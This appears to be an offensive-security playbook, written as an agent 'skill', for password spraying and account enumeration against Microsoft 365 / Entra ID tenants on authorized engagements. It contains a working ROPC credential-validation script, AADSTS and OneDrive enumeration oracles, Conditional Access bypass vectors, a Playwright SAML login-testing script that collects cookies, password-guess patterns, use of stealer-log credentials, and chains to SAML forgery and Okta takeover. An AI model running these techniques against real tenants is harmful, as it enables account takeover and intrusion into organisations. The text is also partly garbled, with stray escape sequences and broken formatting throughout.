Trigger when:
\n*.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in reconDO NOT use for:
\n# For each owned domain\nmsftrecon -d client.example\nmsftrecon -d clientltd.example\nmsftrecon -d sister-brand-school.example\nKey fields in output:
\nManaged (cloud-only, ROPC works) | Federated (ADFS, different attack)Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.
\n| AADSTS | \nMeaning | \nLockout impact | \nWhat to do | \n
|---|---|---|---|
| 50034 | \nUser does not exist | \nNone | \nSkip; remove from spray list | \n
| 50126 | \nInvalid username/password | \n+1 attempt counter | \nUser exists — try alternate password later (within cap) | \n
| 50053 | \nAccount locked (Smart Lockout) | \nNone (already locked) | \nPre-existing → flag to SOC; don't retry | \n
| 53003 | \nCA blocked token issuance | \n+1 attempt counter | \nPASSWORD VALID — STOP, password is correct | \n
| 50076 | \nMFA required | \n+1 attempt counter | \nPASSWORD VALID — second factor needed | \n
| 50079 | \nStrong auth required | \n+1 attempt counter | \nPASSWORD VALID — same as 50076 | \n
| 50158 | \nExternal auth required | \n+1 attempt counter | \nPASSWORD VALID — federated MFA | \n
| 530003 | \nDevice-state required | \n+1 attempt counter | \nPASSWORD VALID — needs compliant device | \n
| 65001 | \nConsent required | \n+1 attempt counter | \nApp-consent issue, not auth | \n
| 700016 | \nApp not in tenant | \nNone | \nUser in different tenant — adjust target | \n
| 90002 | \nTenant does not exist | \nNone | \nTenant typo / dead tenant | \n
Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.
\nMicrosoft default policy:
\nEngagement discipline:
\nMathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).
GET /getuserrealm.srf?login=<email>&xml=1\nReturns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.
\nPOST /common/GetCredentialType\n{\"username\":\"<email>\", \"isOtherIdpSupported\":true, ...}\nReturns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1\nReturns identical 200 + same JSON body for any address. Hardened ~2024.
\nOneDrive personal-site differential:
\nGET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1\nHost: <tenant>-my.sharepoint.com\nSprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracleCaveats:
\nSharePoint Detected: Yes)2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.
\nKiller use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:
\n| OneDrive | \nROPC | \nClassification | \n
|---|---|---|
| 200 | \nAADSTS50076 (MFA req) or 50126 | \nLicensed regular user (real employee, MFA enforced) | \n
| 200 | \nAADSTS50034 | \n(shouldn't happen — inconsistency, investigate) | \n
| 404 | \nAADSTS50126 | \nShared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing | \n
| 404 | \nAADSTS50034 | \nDoesn't exist in tenant | \n
| 404 | \nAADSTS50076 | \nEdge case (functional account WITH MFA enforced — rare) | \n
The OneDrive-404 + ROPC-50126 combination is the signal for \"functional account that might bypass MFA\" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).
ROPC AADSTS50034 / AADSTS50126 differential:
\n| Vector | \nStatus (2026) | \nNotes | \n
|---|---|---|
| Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office) | \nSometimes works | \nCA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office) | \n
| Different resource (graph.microsoft.com / outlook.office.com / management.azure.com) | \nSometimes works | \nCA scope can be per-resource | \n
| EWS / IMAP / POP3 / SMTP Basic Auth | \nMostly disabled | \nMS deprecated Basic Auth Oct 2022; per-account exceptions exist | \n
| FOCI (Family of Client IDs) | \nToken-refresh path | \nUse a refresh token from one FOCI client to mint tokens for another | \n
| Device-code phishing | \nWorks | \nRequires user-side interaction (OOS for many engagements) | \n
| Compliant-device emulation | \nHard | \nRequires Intune device registration — high effort, often impossible without insider | \n
| AiTM session-cookie steal | \nWorks (with phishing) | \nModern primary technique — out of scope for non-phishing engagements | \n
| FOCI + Family Refresh Token Theft | \nPost-auth | \nRequires already having a token | \n
| SAML SSO via different SP | \nSometimes | \nEach enterprise app has its own CA policy; an app with weaker CA = pivot | \n
| Geo-bypass via VPN | \nSometimes | \nIf \"trusted location\" CA policy includes corp HQ IPs, use a VPN exit there | \n
Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.
\nSingle-attempt validator pattern (Python):
\nimport urllib.request, urllib.parse, ssl, time, json, os\nctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE\nATTEMPT_FILE = \"engagement_log/o365_attempts.json\"\nHARD_CAP = 1 # or 2 — never higher\n\ndef attempt(email, password):\n state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}\n if state.get(email.lower(), 0) >= HARD_CAP:\n return {\"status\": \"SKIPPED_CAP\"}\n body = urllib.parse.urlencode({\n \"resource\": \"https://graph.windows.net\",\n \"client_id\": \"1b730954-1685-4b74-9bfd-dac224a7b894\", # Microsoft Graph PowerShell\n \"client_info\": \"1\",\n \"grant_type\": \"password\",\n \"username\": email,\n \"password\": password,\n \"scope\": \"openid\",\n }).encode()\n state[email.lower()] = state.get(email.lower(), 0) + 1\n json.dump(state, open(ATTEMPT_FILE+\".tmp\", \"w\"))\n os.replace(ATTEMPT_FILE+\".tmp\", ATTEMPT_FILE) # atomic\n req = urllib.request.Request(\n \"https://login.microsoftonline.com/common/oauth2/token\",\n data=body, method=\"POST\",\n )\n req.add_header(\"Content-Type\", \"application/x-www-form-urlencoded\")\n try:\n r = urllib.request.urlopen(req, context=ctx, timeout=15)\n body = json.loads(r.read())\n # PARSE AS JSON — see CRITICAL TRAP below about substring matching\n if \"access_token\" in body: # ← JSON key check, NOT substring\n return {\"status\": \"VALID\", \"body\": body}\n return {\"status\": \"STATUS_200_NO_TOKEN\", \"body\": body}\n except urllib.error.HTTPError as e:\n msg = e.read().decode(errors=\"ignore\")\n for code, status in [\n (\"AADSTS50034\", \"INVALID_USER\"),\n (\"AADSTS50126\", \"INVALID_PW\"),\n (\"AADSTS50053\", \"LOCKED\"),\n (\"AADSTS53003\", \"VALID_CA_BLOCK\"),\n (\"AADSTS50076\", \"VALID_MFA\"),\n (\"AADSTS50079\", \"VALID_MFA\"),\n ]:\n if code in msg:\n return {\"status\": status, \"code\": code}\n return {\"status\": \"OTHER\", \"msg\": msg[:200]}\n\"access_token\" substringWhen CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:
{\n \"error\": \"invalid_grant\",\n \"error_description\": \"AADSTS50076: ...you must use multi-factor authentication...\",\n \"error_codes\": [50076],\n \"suberror\": \"basic_action\",\n \"claims\": \"{\\\"access_token\\\":{\\\"capolids\\\":{\\\"essential\\\":true,\\\"values\\\":[\\\"<policy-id-1>\\\",\\\"<policy-id-2>\\\"]}}}\"\n}\nThe \"access_token\" substring appears inside the CA claims challenge JSON. A loose substring check if \"access_token\" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.
Always parse JSON, then check if \"access_token\" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive \"CA bypasses\" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.
The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as \"CA policy IDs that fired\" — they're a defender-side breadcrumb, not an attacker-side win.
Pace:
\nAADSTS50053 (LOCKED) en masse for accounts you hit only once (mathematically impossible to be real per-user locks → they are IP-level rejections), which (a) contaminates your existence data — 50053 is now ambiguous and you've burned the 1/user cap so you can't re-test — and (b) flags your egress IP as a spray source in the tenant. Observed live on an authorized engagement: switching from serial to 12 threads produced ~183 false AADSTS50053 in 15s vs. 1 across 454 paced attempts.AADSTS50053 appear in a run where your cap is 1/user, STOP — you've either tripped IP anti-spray (your fault, pace down / rotate IP / wait for cooldown) or detected a real external spray (a finding). Either way, pause and diagnose before continuing.When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:
\nimport asyncio\nfrom playwright.async_api import async_playwright\n\nasync def saml_validate(target_sp_url, username, password, screenshot_dir):\n async with async_playwright() as p:\n browser = await p.chromium.launch(headless=True, args=[\"--ignore-certificate-errors\"])\n context = await browser.new_context(ignore_https_errors=True)\n page = await context.new_page()\n # Step 1: navigate to SP\n await page.goto(target_sp_url, wait_until=\"networkidle\", timeout=30000)\n # Step 2: click sign-in (selectors vary per SP)\n for sel in [\"button:has-text('Sign in')\", \"a:has-text('Login')\", \"button:has-text('Azure')\"]:\n try:\n await page.locator(sel).first.click(timeout=3000)\n break\n except: continue\n await page.wait_for_load_state(\"networkidle\", timeout=20000)\n # Step 3: submit username at Microsoft\n await page.locator('input[name=\"loginfmt\"], input[type=\"email\"]').first.fill(username)\n await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n await page.wait_for_load_state(\"networkidle\", timeout=20000)\n # Step 4: submit password\n await page.locator('input[name=\"passwd\"], input[type=\"password\"]').first.fill(password)\n await page.locator('input[type=\"submit\"], #idSIButton9').first.click()\n await page.wait_for_load_state(\"networkidle\", timeout=30000)\n # Step 5: capture\n await page.screenshot(path=f\"{screenshot_dir}/saml_final.png\", full_page=True)\n content = await page.content()\n cookies = await context.cookies()\n await browser.close()\n # Check outcome\n low = content.lower()\n if \"convergedconditionalaccess\" in low or \"53003\" in low:\n return \"CA_BLOCKED\" # cred valid, CA wall\n elif \"verify your identity\" in low or \"approve sign in\" in low:\n return \"MFA_REQUIRED\" # cred valid, MFA wall\n elif \"we couldn't sign you in\" in low or \"wrong\" in low:\n return \"INVALID\"\n elif \"<post-auth-landing-marker>\" in low or \"dashboard\" in low:\n return \"FULL_SUCCESS\" # session obtained (replace marker per target app)\n return \"UNCLEAR\"\nMicrosoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.
If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:
This is the highest-impact byproduct of any M365 spray engagement. Always track and report.
\n<BrandName>@<Year> — <Brand>@2026, Tata@2026<BrandName>@123 — <Brand>@123 (very common)<PlantCity>@<Year> — <City1>@2026, <City2>@2026 (production plant cities)<EmployeeID-as-password> — common in legacy apps (PAN number, employee code, phone last4)Password@<year>, Welcome@<year>, Admin@<year> — generic defaults<BrandName>@<Y2-digits> — <Brand>@26Engagement caveat: when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.
\nEvery M365 attempt logs to JSONL:
\n{\"ts\":\"2026-05-08T14:40:53\",\"email\":\"user1@<client>.example\",\"pw_first4\":\"<r4>\",\"status\":\"VALID_CA_BLOCK\",\"code\":\"AADSTS53003\",\"attempts_used\":1}\nPer-user tracker (atomic):
\n{\"user1@<client>.example\": 1, \"user2@<client>.example\": 1, ...}\nIP rotation log (per-day):
\n2026-05-08\t<src-ip>\t<ISP-AS>\t<operator-handle>\tRound 2 spray\nThese three artifacts are deliverable evidence for the report. They survive into the next engagement as state.
\nFor the report:
\nFinding: 261 Entra accounts in pre-existing lockout state
\no365_results.jsonl filtered to status=LOCKEDFinding: Valid M365 cred — <user>:<password> (CA-blocked)
ConvergedConditionalAccess page screenshotAADSTS50053, contaminates results, and flags your IP. \"Going faster\" by adding threads costs more than it saves. The only safe speed-up is removing dead/nonexistent users first (small GetCredentialType batches <60), not raising concurrency.pip install --break-system-packages msftrecon o365spray # may need to clone msftrecon from GitHub\nbrew install pandoc # for report generation\ngo install -v github.com/projectdiscovery/... # PD toolkit for general recon\nPre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.
hunt-mfa-bypass — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → hunt-mfa-bypass factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.hunt-ntlm-info — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields corp.example.com → m365-entra-attack resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.okta-attack — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 getuserrealm returns NameSpaceType: Federated with AuthURL pointing to *.okta.com → pivot to okta-attack for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.hunt-saml — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: getuserrealm reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → hunt-saml XSW1-XSW8 against IdP's /adfs/ls/ or equivalent → forged assertion → Entra grants access.redteam-report-template — M365 findings need clear tenant/user/CA-policy framing because the blast radius is \"every Microsoft service the org uses.\" Chain primitive: validated finding from this skill → run through triage-validation 7-Question Gate → package via redteam-report-template with explicit blast-radius (which apps, which users, which data) for client deliverable.